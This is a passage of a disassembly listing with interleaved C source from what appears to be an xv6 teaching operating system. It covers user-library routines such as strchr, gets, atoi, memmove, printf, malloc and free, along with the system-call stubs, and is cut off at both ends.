%edx,%edi 19f: fc cld 1a0: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 1a2: 89 d0 mov %edx,%eax 1a4: 5f pop %edi 1a5: 5d pop %ebp 1a6: c3 ret 1a7: 89 f6 mov %esi,%esi 1a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000001b0 <strchr>: char* strchr(const char *s, char c) { 1b0: 55 push %ebp 1b1: 89 e5 mov %esp,%ebp 1b3: 53 push %ebx 1b4: 8b 45 08 mov 0x8(%ebp),%eax 1b7: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) 1ba: 0f b6 10 movzbl (%eax),%edx 1bd: 84 d2 test %dl,%dl 1bf: 74 1d je 1de <strchr+0x2e> if(*s == c) 1c1: 38 d3 cmp %dl,%bl 1c3: 89 d9 mov %ebx,%ecx 1c5: 75 0d jne 1d4 <strchr+0x24> 1c7: eb 17 jmp 1e0 <strchr+0x30> 1c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1d0: 38 ca cmp %cl,%dl 1d2: 74 0c je 1e0 <strchr+0x30> for(; *s; s++) 1d4: 83 c0 01 add $0x1,%eax 1d7: 0f b6 10 movzbl (%eax),%edx 1da: 84 d2 test %dl,%dl 1dc: 75 f2 jne 1d0 <strchr+0x20> return (char*)s; return 0; 1de: 31 c0 xor %eax,%eax } 1e0: 5b pop %ebx 1e1: 5d pop %ebp 1e2: c3 ret 1e3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000001f0 <gets>: char* gets(char *buf, int max) { 1f0: 55 push %ebp 1f1: 89 e5 mov %esp,%ebp 1f3: 57 push %edi 1f4: 56 push %esi 1f5: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 1f6: 31 f6 xor %esi,%esi 1f8: 89 f3 mov %esi,%ebx { 1fa: 83 ec 1c sub $0x1c,%esp 1fd: 8b 7d 08 mov 0x8(%ebp),%edi for(i=0; i+1 < max; ){ 200: eb 2f jmp 231 <gets+0x41> 202: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 208: 8d 45 e7 lea -0x19(%ebp),%eax 20b: 83 ec 04 sub $0x4,%esp 20e: 6a 01 push $0x1 210: 50 push %eax 211: 6a 00 push $0x0 213: e8 32 01 00 00 call 34a <read> if(cc < 1) 218: 83 c4 10 add $0x10,%esp 21b: 85 c0 test %eax,%eax 21d: 7e 1c jle 23b <gets+0x4b> break; buf[i++] = c; 21f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 223: 83 c7 01 add $0x1,%edi 226: 88 47 ff mov %al,-0x1(%edi) if(c == '\n' || c == '\r') 229: 3c 0a cmp $0xa,%al 22b: 74 23 je 250 <gets+0x60> 22d: 3c 0d cmp $0xd,%al 22f: 74 1f je 250 <gets+0x60> for(i=0; i+1 < max; ){ 231: 83 c3 01 add $0x1,%ebx 234: 3b 5d 0c cmp 0xc(%ebp),%ebx 237: 89 fe mov %edi,%esi 239: 7c cd jl 208 <gets+0x18> 23b: 89 f3 mov %esi,%ebx break; } buf[i] = '\0'; return buf; } 23d: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 240: c6 03 00 movb $0x0,(%ebx) } 243: 8d 65 f4 lea -0xc(%ebp),%esp 246: 5b pop %ebx 247: 5e pop %esi 248: 5f pop %edi 249: 5d pop %ebp 24a: c3 ret 24b: 90 nop 24c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 250: 8b 75 08 mov 0x8(%ebp),%esi 253: 8b 45 08 mov 0x8(%ebp),%eax 256: 01 de add %ebx,%esi 258: 89 f3 mov %esi,%ebx buf[i] = '\0'; 25a: c6 03 00 movb $0x0,(%ebx) } 25d: 8d 65 f4 lea -0xc(%ebp),%esp 260: 5b pop %ebx 261: 5e pop %esi 262: 5f pop %edi 263: 5d pop %ebp 264: c3 ret 265: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 269: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000270 <stat>: int stat(const char *n, struct stat *st) { 270: 55 push %ebp 271: 89 e5 mov %esp,%ebp 273: 56 push %esi 274: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 275: 83 ec 08 sub $0x8,%esp 278: 6a 00 push $0x0 27a: ff 75 08 pushl 0x8(%ebp) 27d: e8 f0 00 00 00 call 372 <open> if(fd < 0) 282: 83 c4 10 add $0x10,%esp 285: 85 c0 test %eax,%eax 287: 78 27 js 2b0 <stat+0x40> return -1; r = fstat(fd, st); 289: 83 ec 08 sub $0x8,%esp 28c: ff 75 0c pushl 0xc(%ebp) 28f: 89 c3 mov %eax,%ebx 291: 50 push %eax 292: e8 f3 00 00 00 call 38a <fstat> close(fd); 297: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 29a: 89 c6 mov %eax,%esi close(fd); 29c: e8 b9 00 00 00 call 35a <close> return r; 2a1: 83 c4 10 add $0x10,%esp } 2a4: 8d 65 f8 lea -0x8(%ebp),%esp 2a7: 89 f0 mov %esi,%eax 2a9: 5b pop %ebx 2aa: 5e pop %esi 2ab: 5d pop %ebp 2ac: c3 ret 2ad: 8d 76 00 lea 0x0(%esi),%esi return -1; 2b0: be ff ff ff ff mov $0xffffffff,%esi 2b5: eb ed jmp 2a4 <stat+0x34> 2b7: 89 f6 mov %esi,%esi 2b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000002c0 <atoi>: int atoi(const char *s) { 2c0: 55 push %ebp 2c1: 89 e5 mov %esp,%ebp 2c3: 53 push %ebx 2c4: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 2c7: 0f be 11 movsbl (%ecx),%edx 2ca: 8d 42 d0 lea -0x30(%edx),%eax 2cd: 3c 09 cmp $0x9,%al n = 0; 2cf: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 2d4: 77 1f ja 2f5 <atoi+0x35> 2d6: 8d 76 00 lea 0x0(%esi),%esi 2d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 2e0: 8d 04 80 lea (%eax,%eax,4),%eax 2e3: 83 c1 01 add $0x1,%ecx 2e6: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax while('0' <= *s && *s <= '9') 2ea: 0f be 11 movsbl (%ecx),%edx 2ed: 8d 5a d0 lea -0x30(%edx),%ebx 2f0: 80 fb 09 cmp $0x9,%bl 2f3: 76 eb jbe 2e0 <atoi+0x20> return n; } 2f5: 5b pop %ebx 2f6: 5d pop %ebp 2f7: c3 ret 2f8: 90 nop 2f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000300 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 300: 55 push %ebp 301: 89 e5 mov %esp,%ebp 303: 56 push %esi 304: 53 push %ebx 305: 8b 5d 10 mov 0x10(%ebp),%ebx 308: 8b 45 08 mov 0x8(%ebp),%eax 30b: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 30e: 85 db test %ebx,%ebx 310: 7e 14 jle 326 <memmove+0x26> 312: 31 d2 xor %edx,%edx 314: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 318: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 31c: 88 0c 10 mov %cl,(%eax,%edx,1) 31f: 83 c2 01 add $0x1,%edx while(n-- > 0) 322: 39 d3 cmp %edx,%ebx 324: 75 f2 jne 318 <memmove+0x18> return vdst; } 326: 5b pop %ebx 327: 5e pop %esi 328: 5d pop %ebp 329: c3 ret 0000032a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 32a: b8 01 00 00 00 mov $0x1,%eax 32f: cd 40 int $0x40 331: c3 ret 00000332 <exit>: SYSCALL(exit) 332: b8 02 00 00 00 mov $0x2,%eax 337: cd 40 int $0x40 339: c3 ret 0000033a <wait>: SYSCALL(wait) 33a: b8 03 00 00 00 mov $0x3,%eax 33f: cd 40 int $0x40 341: c3 ret 00000342 <pipe>: SYSCALL(pipe) 342: b8 04 00 00 00 mov $0x4,%eax 347: cd 40 int $0x40 349: c3 ret 0000034a <read>: SYSCALL(read) 34a: b8 05 00 00 00 mov $0x5,%eax 34f: cd 40 int $0x40 351: c3 ret 00000352 <write>: SYSCALL(write) 352: b8 10 00 00 00 mov $0x10,%eax 357: cd 40 int $0x40 359: c3 ret 0000035a <close>: SYSCALL(close) 35a: b8 15 00 00 00 mov $0x15,%eax 35f: cd 40 int $0x40 361: c3 ret 00000362 <kill>: SYSCALL(kill) 362: b8 06 00 00 00 mov $0x6,%eax 367: cd 40 int $0x40 369: c3 ret 0000036a <exec>: SYSCALL(exec) 36a: b8 07 00 00 00 mov $0x7,%eax 36f: cd 40 int $0x40 371: c3 ret 00000372 <open>: SYSCALL(open) 372: b8 0f 00 00 00 mov $0xf,%eax 377: cd 40 int $0x40 379: c3 ret 0000037a <mknod>: SYSCALL(mknod) 37a: b8 11 00 00 00 mov $0x11,%eax 37f: cd 40 int $0x40 381: c3 ret 00000382 <unlink>: SYSCALL(unlink) 382: b8 12 00 00 00 mov $0x12,%eax 387: cd 40 int $0x40 389: c3 ret 0000038a <fstat>: SYSCALL(fstat) 38a: b8 08 00 00 00 mov $0x8,%eax 38f: cd 40 int $0x40 391: c3 ret 00000392 <link>: SYSCALL(link) 392: b8 13 00 00 00 mov $0x13,%eax 397: cd 40 int $0x40 399: c3 ret 0000039a <mkdir>: SYSCALL(mkdir) 39a: b8 14 00 00 00 mov $0x14,%eax 39f: cd 40 int $0x40 3a1: c3 ret 000003a2 <chdir>: SYSCALL(chdir) 3a2: b8 09 00 00 00 mov $0x9,%eax 3a7: cd 40 int $0x40 3a9: c3 ret 000003aa <dup>: SYSCALL(dup) 3aa: b8 0a 00 00 00 mov $0xa,%eax 3af: cd 40 int $0x40 3b1: c3 ret 000003b2 <getpid>: SYSCALL(getpid) 3b2: b8 0b 00 00 00 mov $0xb,%eax 3b7: cd 40 int $0x40 3b9: c3 ret 000003ba <sbrk>: SYSCALL(sbrk) 3ba: b8 0c 00 00 00 mov $0xc,%eax 3bf: cd 40 int $0x40 3c1: c3 ret 000003c2 <sleep>: SYSCALL(sleep) 3c2: b8 0d 00 00 00 mov $0xd,%eax 3c7: cd 40 int $0x40 3c9: c3 ret 000003ca <uptime>: SYSCALL(uptime) 3ca: b8 0e 00 00 00 mov $0xe,%eax 3cf: cd 40 int $0x40 3d1: c3 ret 000003d2 <waitx>: SYSCALL(waitx) 3d2: b8 16 00 00 00 mov $0x16,%eax 3d7: cd 40 int $0x40 3d9: c3 ret 000003da <set_priority>: SYSCALL(set_priority) 3da: b8 17 00 00 00 mov $0x17,%eax 3df: cd 40 int $0x40 3e1: c3 ret 000003e2 <getpinfo>: SYSCALL(getpinfo) 3e2: b8 18 00 00 00 mov $0x18,%eax 3e7: cd 40 int $0x40 3e9: c3 ret 3ea: 66 90 xchg %ax,%ax 3ec: 66 90 xchg %ax,%ax 3ee: 66 90 xchg %ax,%ax 000003f0 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 3f0: 55 push %ebp 3f1: 89 e5 mov %esp,%ebp 3f3: 57 push %edi 3f4: 56 push %esi 3f5: 53 push %ebx 3f6: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 3f9: 85 d2 test %edx,%edx { 3fb: 89 45 c0 mov %eax,-0x40(%ebp) neg = 1; x = -xx; 3fe: 89 d0 mov %edx,%eax if(sgn && xx < 0){ 400: 79 76 jns 478 <printint+0x88> 402: f6 45 08 01 testb $0x1,0x8(%ebp) 406: 74 70 je 478 <printint+0x88> x = -xx; 408: f7 d8 neg %eax neg = 1; 40a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) } else { x = xx; } i = 0; 411: 31 f6 xor %esi,%esi 413: 8d 5d d7 lea -0x29(%ebp),%ebx 416: eb 0a jmp 422 <printint+0x32> 418: 90 nop 419: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi do{ buf[i++] = digits[x % base]; 420: 89 fe mov %edi,%esi 422: 31 d2 xor %edx,%edx 424: 8d 7e 01 lea 0x1(%esi),%edi 427: f7 f1 div %ecx 429: 0f b6 92 04 08 00 00 movzbl 0x804(%edx),%edx }while((x /= base) != 0); 430: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 432: 88 14 3b mov %dl,(%ebx,%edi,1) }while((x /= base) != 0); 435: 75 e9 jne 420 <printint+0x30> if(neg) 437: 8b 45 c4 mov -0x3c(%ebp),%eax 43a: 85 c0 test %eax,%eax 43c: 74 08 je 446 <printint+0x56> buf[i++] = '-'; 43e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1) 443: 8d 7e 02 lea 0x2(%esi),%edi 446: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi 44a: 8b 7d c0 mov -0x40(%ebp),%edi 44d: 8d 76 00 lea 0x0(%esi),%esi 450: 0f b6 06 movzbl (%esi),%eax write(fd, &c, 1); 453: 83 ec 04 sub $0x4,%esp 456: 83 ee 01 sub $0x1,%esi 459: 6a 01 push $0x1 45b: 53 push %ebx 45c: 57 push %edi 45d: 88 45 d7 mov %al,-0x29(%ebp) 460: e8 ed fe ff ff call 352 <write> while(--i >= 0) 465: 83 c4 10 add $0x10,%esp 468: 39 de cmp %ebx,%esi 46a: 75 e4 jne 450 <printint+0x60> putc(fd, buf[i]); } 46c: 8d 65 f4 lea -0xc(%ebp),%esp 46f: 5b pop %ebx 470: 5e pop %esi 471: 5f pop %edi 472: 5d pop %ebp 473: c3 ret 474: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 478: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 47f: eb 90 jmp 411 <printint+0x21> 481: eb 0d jmp 490 <printf> 483: 90 nop 484: 90 nop 485: 90 nop 486: 90 nop 487: 90 nop 488: 90 nop 489: 90 nop 48a: 90 nop 48b: 90 nop 48c: 90 nop 48d: 90 nop 48e: 90 nop 48f: 90 nop 00000490 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 490: 55 push %ebp 491: 89 e5 mov %esp,%ebp 493: 57 push %edi 494: 56 push %esi 495: 53 push %ebx 496: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 499: 8b 75 0c mov 0xc(%ebp),%esi 49c: 0f b6 1e movzbl (%esi),%ebx 49f: 84 db test %bl,%bl 4a1: 0f 84 b3 00 00 00 je 55a <printf+0xca> ap = (uint*)(void*)&fmt + 1; 4a7: 8d 45 10 lea 0x10(%ebp),%eax 4aa: 83 c6 01 add $0x1,%esi state = 0; 4ad: 31 ff xor %edi,%edi ap = (uint*)(void*)&fmt + 1; 4af: 89 45 d4 mov %eax,-0x2c(%ebp) 4b2: eb 2f jmp 4e3 <printf+0x53> 4b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 4b8: 83 f8 25 cmp $0x25,%eax 4bb: 0f 84 a7 00 00 00 je 568 <printf+0xd8> write(fd, &c, 1); 4c1: 8d 45 e2 lea -0x1e(%ebp),%eax 4c4: 83 ec 04 sub $0x4,%esp 4c7: 88 5d e2 mov %bl,-0x1e(%ebp) 4ca: 6a 01 push $0x1 4cc: 50 push %eax 4cd: ff 75 08 pushl 0x8(%ebp) 4d0: e8 7d fe ff ff call 352 <write> 4d5: 83 c4 10 add $0x10,%esp 4d8: 83 c6 01 add $0x1,%esi for(i = 0; fmt[i]; i++){ 4db: 0f b6 5e ff movzbl -0x1(%esi),%ebx 4df: 84 db test %bl,%bl 4e1: 74 77 je 55a <printf+0xca> if(state == 0){ 4e3: 85 ff test %edi,%edi c = fmt[i] & 0xff; 4e5: 0f be cb movsbl %bl,%ecx 4e8: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 4eb: 74 cb je 4b8 <printf+0x28> state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 4ed: 83 ff 25 cmp $0x25,%edi 4f0: 75 e6 jne 4d8 <printf+0x48> if(c == 'd'){ 4f2: 83 f8 64 cmp $0x64,%eax 4f5: 0f 84 05 01 00 00 je 600 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 4fb: 81 e1 f7 00 00 00 and $0xf7,%ecx 501: 83 f9 70 cmp $0x70,%ecx 504: 74 72 je 578 <printf+0xe8> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 506: 83 f8 73 cmp $0x73,%eax 509: 0f 84 99 00 00 00 je 5a8 <printf+0x118> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 50f: 83 f8 63 cmp $0x63,%eax 512: 0f 84 08 01 00 00 je 620 <printf+0x190> putc(fd, *ap); ap++; } else if(c == '%'){ 518: 83 f8 25 cmp $0x25,%eax 51b: 0f 84 ef 00 00 00 je 610 <printf+0x180> write(fd, &c, 1); 521: 8d 45 e7 lea -0x19(%ebp),%eax 524: 83 ec 04 sub $0x4,%esp 527: c6 45 e7 25 movb $0x25,-0x19(%ebp) 52b: 6a 01 push $0x1 52d: 50 push %eax 52e: ff 75 08 pushl 0x8(%ebp) 531: e8 1c fe ff ff call 352 <write> 536: 83 c4 0c add $0xc,%esp 539: 8d 45 e6 lea -0x1a(%ebp),%eax 53c: 88 5d e6 mov %bl,-0x1a(%ebp) 53f: 6a 01 push $0x1 541: 50 push %eax 542: ff 75 08 pushl 0x8(%ebp) 545: 83 c6 01 add $0x1,%esi } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 548: 31 ff xor %edi,%edi write(fd, &c, 1); 54a: e8 03 fe ff ff call 352 <write> for(i = 0; fmt[i]; i++){ 54f: 0f b6 5e ff movzbl -0x1(%esi),%ebx write(fd, &c, 1); 553: 83 c4 10 add $0x10,%esp for(i = 0; fmt[i]; i++){ 556: 84 db test %bl,%bl 558: 75 89 jne 4e3 <printf+0x53> } } } 55a: 8d 65 f4 lea -0xc(%ebp),%esp 55d: 5b pop %ebx 55e: 5e pop %esi 55f: 5f pop %edi 560: 5d pop %ebp 561: c3 ret 562: 8d b6 00 00 00 00 lea 0x0(%esi),%esi state = '%'; 568: bf 25 00 00 00 mov $0x25,%edi 56d: e9 66 ff ff ff jmp 4d8 <printf+0x48> 572: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printint(fd, *ap, 16, 0); 578: 83 ec 0c sub $0xc,%esp 57b: b9 10 00 00 00 mov $0x10,%ecx 580: 6a 00 push $0x0 582: 8b 7d d4 mov -0x2c(%ebp),%edi 585: 8b 45 08 mov 0x8(%ebp),%eax 588: 8b 17 mov (%edi),%edx 58a: e8 61 fe ff ff call 3f0 <printint> ap++; 58f: 89 f8 mov %edi,%eax 591: 83 c4 10 add $0x10,%esp state = 0; 594: 31 ff xor %edi,%edi ap++; 596: 83 c0 04 add $0x4,%eax 599: 89 45 d4 mov %eax,-0x2c(%ebp) 59c: e9 37 ff ff ff jmp 4d8 <printf+0x48> 5a1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi s = (char*)*ap; 5a8: 8b 45 d4 mov -0x2c(%ebp),%eax 5ab: 8b 08 mov (%eax),%ecx ap++; 5ad: 83 c0 04 add $0x4,%eax 5b0: 89 45 d4 mov %eax,-0x2c(%ebp) if(s == 0) 5b3: 85 c9 test %ecx,%ecx 5b5: 0f 84 8e 00 00 00 je 649 <printf+0x1b9> while(*s != 0){ 5bb: 0f b6 01 movzbl (%ecx),%eax state = 0; 5be: 31 ff xor %edi,%edi s = (char*)*ap; 5c0: 89 cb mov %ecx,%ebx while(*s != 0){ 5c2: 84 c0 test %al,%al 5c4: 0f 84 0e ff ff ff je 4d8 <printf+0x48> 5ca: 89 75 d0 mov %esi,-0x30(%ebp) 5cd: 89 de mov %ebx,%esi 5cf: 8b 5d 08 mov 0x8(%ebp),%ebx 5d2: 8d 7d e3 lea -0x1d(%ebp),%edi 5d5: 8d 76 00 lea 0x0(%esi),%esi write(fd, &c, 1); 5d8: 83 ec 04 sub $0x4,%esp s++; 5db: 83 c6 01 add $0x1,%esi 5de: 88 45 e3 mov %al,-0x1d(%ebp) write(fd, &c, 1); 5e1: 6a 01 push $0x1 5e3: 57 push %edi 5e4: 53 push %ebx 5e5: e8 68 fd ff ff call 352 <write> while(*s != 0){ 5ea: 0f b6 06 movzbl (%esi),%eax 5ed: 83 c4 10 add $0x10,%esp 5f0: 84 c0 test %al,%al 5f2: 75 e4 jne 5d8 <printf+0x148> 5f4: 8b 75 d0 mov -0x30(%ebp),%esi state = 0; 5f7: 31 ff xor %edi,%edi 5f9: e9 da fe ff ff jmp 4d8 <printf+0x48> 5fe: 66 90 xchg %ax,%ax printint(fd, *ap, 10, 1); 600: 83 ec 0c sub $0xc,%esp 603: b9 0a 00 00 00 mov $0xa,%ecx 608: 6a 01 push $0x1 60a: e9 73 ff ff ff jmp 582 <printf+0xf2> 60f: 90 nop write(fd, &c, 1); 610: 83 ec 04 sub $0x4,%esp 613: 88 5d e5 mov %bl,-0x1b(%ebp) 616: 8d 45 e5 lea -0x1b(%ebp),%eax 619: 6a 01 push $0x1 61b: e9 21 ff ff ff jmp 541 <printf+0xb1> putc(fd, *ap); 620: 8b 7d d4 mov -0x2c(%ebp),%edi write(fd, &c, 1); 623: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 626: 8b 07 mov (%edi),%eax write(fd, &c, 1); 628: 6a 01 push $0x1 ap++; 62a: 83 c7 04 add $0x4,%edi putc(fd, *ap); 62d: 88 45 e4 mov %al,-0x1c(%ebp) write(fd, &c, 1); 630: 8d 45 e4 lea -0x1c(%ebp),%eax 633: 50 push %eax 634: ff 75 08 pushl 0x8(%ebp) 637: e8 16 fd ff ff call 352 <write> ap++; 63c: 89 7d d4 mov %edi,-0x2c(%ebp) 63f: 83 c4 10 add $0x10,%esp state = 0; 642: 31 ff xor %edi,%edi 644: e9 8f fe ff ff jmp 4d8 <printf+0x48> s = "(null)"; 649: bb fc 07 00 00 mov $0x7fc,%ebx while(*s != 0){ 64e: b8 28 00 00 00 mov $0x28,%eax 653: e9 72 ff ff ff jmp 5ca <printf+0x13a> 658: 66 90 xchg %ax,%ax 65a: 66 90 xchg %ax,%ax 65c: 66 90 xchg %ax,%ax 65e: 66 90 xchg %ax,%ax 00000660 <free>: static Header base; static Header *freep; void free(void *ap) { 660: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 661: a1 c0 0a 00 00 mov 0xac0,%eax { 666: 89 e5 mov %esp,%ebp 668: 57 push %edi 669: 56 push %esi 66a: 53 push %ebx 66b: 8b 5d 08 mov 0x8(%ebp),%ebx bp = (Header*)ap - 1; 66e: 8d 4b f8 lea -0x8(%ebx),%ecx 671: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 678: 39 c8 cmp %ecx,%eax 67a: 8b 10 mov (%eax),%edx 67c: 73 32 jae 6b0 <free+0x50> 67e: 39 d1 cmp %edx,%ecx 680: 72 04 jb 686 <free+0x26> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 682: 39 d0 cmp %edx,%eax 684: 72 32 jb 6b8 <free+0x58> break; if(bp + bp->s.size == p->s.ptr){ 686: 8b 73 fc mov -0x4(%ebx),%esi 689: 8d 3c f1 lea (%ecx,%esi,8),%edi 68c: 39 fa cmp %edi,%edx 68e: 74 30 je 6c0 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 690: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 693: 8b 50 04 mov 0x4(%eax),%edx 696: 8d 34 d0 lea (%eax,%edx,8),%esi 699: 39 f1 cmp %esi,%ecx 69b: 74 3a je 6d7 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 69d: 89 08 mov %ecx,(%eax) freep = p; 69f: a3 c0 0a 00 00 mov %eax,0xac0 } 6a4: 5b pop %ebx 6a5: 5e pop %esi 6a6: 5f pop %edi 6a7: 5d pop %ebp 6a8: c3 ret 6a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6b0: 39 d0 cmp %edx,%eax 6b2: 72 04 jb 6b8 <free+0x58> 6b4: 39 d1 cmp %edx,%ecx 6b6: 72 ce jb 686 <free+0x26> { 6b8: 89 d0 mov %edx,%eax 6ba: eb bc jmp 678 <free+0x18> 6bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp->s.size += p->s.ptr->s.size; 6c0: 03 72 04 add 0x4(%edx),%esi 6c3: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 6c6: 8b 10 mov (%eax),%edx 6c8: 8b 12 mov (%edx),%edx 6ca: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 6cd: 8b 50 04 mov 0x4(%eax),%edx 6d0: 8d 34 d0 lea (%eax,%edx,8),%esi 6d3: 39 f1 cmp %esi,%ecx 6d5: 75 c6 jne 69d <free+0x3d> p->s.size += bp->s.size; 6d7: 03 53 fc add -0x4(%ebx),%edx freep = p; 6da: a3 c0 0a 00 00 mov %eax,0xac0 p->s.size += bp->s.size; 6df: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 6e2: 8b 53 f8 mov -0x8(%ebx),%edx 6e5: 89 10 mov %edx,(%eax) } 6e7: 5b pop %ebx 6e8: 5e pop %esi 6e9: 5f pop %edi 6ea: 5d pop %ebp 6eb: c3 ret 6ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 000006f0 <malloc>: return freep; } void* malloc(uint nbytes) { 6f0: 55 push %ebp 6f1: 89 e5 mov %esp,%ebp 6f3: 57 push %edi 6f4: 56 push %esi 6f5: 53 push %ebx 6f6: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 6f9: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 6fc: 8b 15 c0 0a 00 00 mov 0xac0,%edx nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 702: 8d 78 07 lea 0x7(%eax),%edi 705: c1 ef 03 shr $0x3,%edi 708: 83 c7 01 add $0x1,%edi if((prevp = freep) == 0){ 70b: 85 d2 test %edx,%edx 70d: 0f 84 9d 00 00 00 je 7b0 <malloc+0xc0> 713: 8b 02 mov (%edx),%eax 715: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 718: 39 cf cmp %ecx,%edi 71a: 76 6c jbe 788 <malloc+0x98> 71c: 81 ff 00 10 00 00 cmp $0x1000,%edi 722: bb 00 10 00 00 mov $0x1000,%ebx 727: 0f 43 df cmovae %edi,%ebx p = sbrk(nu * sizeof(Header)); 72a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi 731: eb 0e jmp 741 <malloc+0x51> 733: 90 nop 734: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 738: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 73a: 8b 48 04 mov 0x4(%eax),%ecx 73d: 39 f9 cmp %edi,%ecx 73f: 73 47 jae 788 <malloc+0x98> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 741: 39 05 c0 0a 00 00 cmp %eax,0xac0 747: 89 c2 mov %eax,%edx 749: 75 ed jne 738 <malloc+0x48> p = sbrk(nu * sizeof(Header)); 74b: 83 ec 0c sub $0xc,%esp 74e: 56 push %esi 74f: e8 66 fc ff ff call 3ba <sbrk> if(p == (char*)-1) 754: 83 c4 10 add $0x10,%esp 757: 83 f8 ff cmp $0xffffffff,%eax 75a: 74 1c je 778 <malloc+0x88> hp->s.size = nu; 75c: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 75f: 83 ec 0c sub $0xc,%esp 762: 83 c0 08 add $0x8,%eax 765: 50 push %eax 766: e8 f5 fe ff ff call 660 <free> return freep; 76b: 8b 15 c0 0a 00 00 mov 0xac0,%edx if((p = morecore(nunits)) == 0) 771: 83 c4 10 add $0x10,%esp 774: 85 d2 test %edx,%edx 776: 75 c0 jne 738 <malloc+0x48> return 0; } } 778: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 77b: 31 c0 xor %eax,%eax } 77d: 5b pop %ebx 77e: 5e pop %esi 77f: 5f pop %edi 780: 5d pop %ebp 781: c3 ret 782: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(p->s.size == nunits) 788: 39 cf cmp %ecx,%edi 78a: 74 54 je 7e0 <malloc+0xf0> p->s.size -= nunits; 78c: 29 f9 sub %edi,%ecx 78e: 89 48 04 mov 